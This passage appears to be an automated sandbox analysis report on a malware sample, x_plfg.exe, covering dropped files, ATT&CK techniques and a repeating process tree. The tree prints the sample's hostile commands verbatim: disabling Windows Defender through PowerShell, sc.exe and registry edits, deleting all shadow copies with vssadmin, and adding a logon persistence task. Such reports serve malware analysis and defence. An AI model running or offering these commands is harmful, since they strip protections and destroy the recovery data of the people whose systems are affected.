File created	C:\Windows\ServiceProfiles\LocalService\Desktop\HelperCore.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\MsMonitor.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Local\SvcSvc.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\NetworkService\Desktop\Win64.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\AgentCore.exe	x_plfg.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
852	sc.exe
17268	sc.exe
18052	sc.exe
7080	sc.exe
19912	sc.exe
3100	sc.exe
16332	sc.exe
17544	sc.exe
18416	sc.exe
19924	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	x_plfg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	x_plfg.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3244	vssadmin.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe
17432	powershell.exe
17432	powershell.exe
15772	powershell.exe
15772	powershell.exe
17572	powershell.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
3104	Process not Found
7588	Process not Found
15372	Process not Found
16956	Process not Found
15828	Process not Found
20144	Process not Found
17236	Process not Found
17172	Process not Found
17364	Process not Found
16656	smss.exe
17068	Process not Found
6188	Process not Found
4596	Process not Found
18124	Process not Found
4708	Process not Found
17420	smss.exe
3924	Process not Found
2528	Process not Found
20460	Process not Found
8248	Process not Found
14352	Process not Found
20172	Process not Found
15408	Process not Found
13516	Process not Found
5288	Process not Found
14380	Process not Found
6316	Process not Found
7152	Process not Found
8204	Process not Found
15348	Process not Found
5328	Process not Found
8680	Process not Found
6308	Process not Found
728	smss.exe
16660	Process not Found
2228	Process not Found
3500	Process not Found
9404	Process not Found
4572	Process not Found
2092	Process not Found
4652	Process not Found
5068	Process not Found
4608	Process not Found
20340	Process not Found
4004	Process not Found
2392	Process not Found
5168	Process not Found
2784	Process not Found
5232	Process not Found
5372	Process not Found
4380	Process not Found
220	Process not Found
5204	Process not Found
5236	Process not Found
5248	Process not Found
2964	Process not Found
2316	Process not Found
5476	Process not Found
5432	Process not Found
5448	Process not Found
5452	Process not Found
5404	Process not Found
5664	Process not Found
5552	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeBackupPrivilege	464	vssvc.exe
Token: SeRestorePrivilege	464	vssvc.exe
Token: SeAuditPrivilege	464	vssvc.exe
Token: SeCreateGlobalPrivilege	17528	dwm.exe
Token: SeChangeNotifyPrivilege	17528	dwm.exe
Token: 33	17528	dwm.exe
Token: SeIncBasePriorityPrivilege	17528	dwm.exe
Token: SeDebugPrivilege	16848	powershell.exe
Token: SeDebugPrivilege	17432	powershell.exe
Token: SeDebugPrivilege	15772	powershell.exe
Token: SeDebugPrivilege	17936	powershell.exe
Token: SeDebugPrivilege	17572	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 3120	1944	x_plfg.exe	87
PID 3120 wrote to memory of 4956	3120	cmd.exe	89
PID 1944 wrote to memory of 4028	1944	x_plfg.exe	90
PID 4028 wrote to memory of 852	4028	cmd.exe	92
PID 1944 wrote to memory of 3580	1944	x_plfg.exe	93
PID 3580 wrote to memory of 3100	3580	cmd.exe	95
PID 1944 wrote to memory of 2616	1944	x_plfg.exe	96
PID 2616 wrote to memory of 3244	2616	cmd.exe	98
PID 1944 wrote to memory of 552	1944	x_plfg.exe	101
PID 552 wrote to memory of 4444	552	cmd.exe	103
PID 552 wrote to memory of 3828	552	cmd.exe	104
PID 552 wrote to memory of 3400	552	cmd.exe	105
PID 552 wrote to memory of 2304	552	cmd.exe	106
PID 552 wrote to memory of 216	552	cmd.exe	107
PID 552 wrote to memory of 224	552	cmd.exe	108
PID 552 wrote to memory of 3528	552	cmd.exe	109
PID 552 wrote to memory of 2636	552	cmd.exe	110
PID 1944 wrote to memory of 3048	1944	x_plfg.exe	111
PID 3048 wrote to memory of 3840	3048	cmd.exe	113
PID 3840 wrote to memory of 3304	3840	x_plfg.exe	115
PID 3304 wrote to memory of 3292	3304	cmd.exe	118
PID 3292 wrote to memory of 3328	3292	x_plfg.exe	119
PID 2240 wrote to memory of 3632	2240	x_plfg.exe	121
PID 3632 wrote to memory of 2136	3632	cmd.exe	123
PID 3328 wrote to memory of 2380	3328	cmd.exe	124
PID 2136 wrote to memory of 2496	2136	x_plfg.exe	125
PID 2380 wrote to memory of 4692	2380	x_plfg.exe	127
PID 2496 wrote to memory of 2908	2496	cmd.exe	129
PID 4692 wrote to memory of 2068	4692	cmd.exe	130
PID 2908 wrote to memory of 3568	2908	x_plfg.exe	131
PID 2068 wrote to memory of 4724	2068	x_plfg.exe	133
PID 3568 wrote to memory of 4960	3568	cmd.exe	135
PID 4724 wrote to memory of 1592	4724	cmd.exe	136
PID 4960 wrote to memory of 3800	4960	x_plfg.exe	137
PID 1592 wrote to memory of 2596	1592	x_plfg.exe	139
PID 3800 wrote to memory of 1196	3800	cmd.exe	141
PID 2596 wrote to memory of 1060	2596	cmd.exe	142
PID 1196 wrote to memory of 2980	1196	x_plfg.exe	143
PID 1060 wrote to memory of 2432	1060	x_plfg.exe	144
PID 2432 wrote to memory of 1052	2432	cmd.exe	147
PID 2980 wrote to memory of 4820	2980	cmd.exe	148
PID 1052 wrote to memory of 2748	1052	x_plfg.exe	149
PID 4820 wrote to memory of 3732	4820	x_plfg.exe	151
PID 2748 wrote to memory of 3664	2748	cmd.exe	153
PID 3732 wrote to memory of 5024	3732	cmd.exe	154
PID 3664 wrote to memory of 292	3664	x_plfg.exe	155
PID 5024 wrote to memory of 4276	5024	x_plfg.exe	157
PID 292 wrote to memory of 3592	292	cmd.exe	159
PID 4276 wrote to memory of 3400	4276	cmd.exe	160
PID 3592 wrote to memory of 3696	3592	x_plfg.exe	161
PID 3400 wrote to memory of 3032	3400	x_plfg.exe	163
PID 3696 wrote to memory of 5088	3696	cmd.exe	165
PID 3032 wrote to memory of 4372	3032	cmd.exe	166
PID 5088 wrote to memory of 4416	5088	x_plfg.exe	167
PID 4372 wrote to memory of 3980	4372	x_plfg.exe	169
PID 4416 wrote to memory of 5124	4416	cmd.exe	171
PID 3980 wrote to memory of 5160	3980	cmd.exe	172
PID 5124 wrote to memory of 5196	5124	x_plfg.exe	173
PID 5160 wrote to memory of 5304	5160	x_plfg.exe	177
PID 5196 wrote to memory of 5312	5196	cmd.exe	178
PID 5304 wrote to memory of 5400	5304	cmd.exe	180
PID 5312 wrote to memory of 5420	5312	x_plfg.exe	181
PID 5400 wrote to memory of 5480	5400	x_plfg.exe	183
PID 5420 wrote to memory of 5520	5420	cmd.exe	185

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Checks computer location settings
- Impair Defenses: Safe Mode Boot
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:3100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4444
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3828
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3400
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:216
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
    3⤵
    PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:3528
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:2636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "Net64" /TR "\"C:\Users\Admin\AppData\Roaming\HelperTask.exe\"" /RL HIGHEST
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3304
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3292
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2380
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:4724
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:1592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Suspicious use of WriteProcessMemory
        
        PID:1052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        Suspicious use of WriteProcessMemory
        
        PID:3664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:292
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:3696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        Suspicious use of WriteProcessMemory
        
        PID:5088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        Suspicious use of WriteProcessMemory
        
        PID:4416
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        Suspicious use of WriteProcessMemory
        
        PID:5124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        Suspicious use of WriteProcessMemory
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        Suspicious use of WriteProcessMemory
        
        PID:5312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        Suspicious use of WriteProcessMemory
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        Checks computer location settings
        
        PID:5520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:5608
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:5704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:5784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        Checks computer location settings
        
        PID:5884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        Checks computer location settings
        
        PID:6040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:6120
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:5716
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:6292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        Checks computer location settings
        
        PID:6572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:6708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        Checks computer location settings
        
        PID:6844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        Checks computer location settings
        
        PID:7040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        Checks computer location settings
        
        PID:6800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:7212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:7304
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:7392
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:7484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:7576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        Checks computer location settings
        
        PID:7668
        
        C:\Windows\System32\cmd.exe
        
